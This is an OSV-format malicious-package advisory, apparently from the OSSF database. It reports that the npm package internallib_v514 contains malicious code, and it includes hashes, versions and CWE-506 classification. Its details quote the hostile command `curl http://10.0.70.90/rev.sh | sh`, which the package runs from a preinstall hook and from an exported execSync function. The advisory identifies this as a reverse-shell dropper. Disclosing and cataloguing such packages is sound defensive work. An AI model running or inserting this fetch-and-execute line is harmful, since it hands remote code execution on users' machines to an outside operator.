{"id":"MAL-2026-13483","summary":"Malicious code in internallib_v514 (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea)\npackage.json declares a preinstall lifecycle hook that runs `curl http://10.0.70.90/rev.sh | sh`, fetching an unpinned shell script from a bare internal IP over plain HTTP and piping it to sh. This executes automatically on `npm install`, granting the operator of 10.0.70.90 arbitrary code execution on the installer's host. In addition, index.js exports a `command` function whose body invokes `require(\"child_process\").execSync(\"curl http://10.0.70.90/rev.sh | sh\")`, providing a second remote-code-execution path through the library's public API. The remote payload is unpinned, unverified, served over cleartext HTTP, and named `rev.sh` — consistent with a reverse-shell dropper.\n","modified":"2026-08-07T13:20:57.310812836Z","published":"2026-08-06T23:54:21Z","database_specific":{"malicious-packages-origins":[{"import_time":"2026-08-07T00:59:21.057177985Z","modified_time":"2026-08-06T23:54:21Z","sha256":"ae39104ad6f972db3cbd895132ea9551b5f0d9b92709e3f2e09569b73dc4ba88","source":"amazon-inspector","versions":["1.0.0"],"id":"IN-MAL-2026-016844"},{"id":"IN-MAL-2026-016999","import_time":"2026-08-07T12:51:21.619264955Z","modified_time":"2026-08-07T12:29:00Z","sha256":"1fd60db78a1e9a35296f653bfc8b5a814877c6c71b274b7ed8dcaa9e732609ea","source":"amazon-inspector","versions":["1.0.1"]}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v514/v/1.0.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/internallib_v514/v/1.0.1"}],"affected":[{"package":{"name":"internallib_v514","ecosystem":"npm","purl":"pkg:npm/internallib_v514"},"versions":["1.0.0","1.0.1"],"database_specific":{"cwes":[{"description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code","cweId":"CWE-506"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"package_integrity":[{"filename":"internallib_v514-1.0.0.tgz","hashes":{"sha1":"f47fdfa3be53b4c6acb5bc84b707f99b727d12ba","sha512_sri":"sha512-P2IXxCoM1CSCDtS+GBn3FcwTN28Et5emYDAYA7HGk2ahtgwg6tFfMcFQK6GKJHIeLTH2Q/IGiySvmY5C+04G+g=="}}],"evidence_files":[{"tlsh":"24d0973e1af546a53c1970d8780eb0507c8a8260a2318262d1082c920bc0109103629e","path":"index.js","sha256":"230a4a165ad183ffa6b85d377bcd64558d7cc61d21573da01a25cac18399a4de"}]},"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/internallib_v514/MAL-2026-13483.json"}}],"schema_version":"1.8.0","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}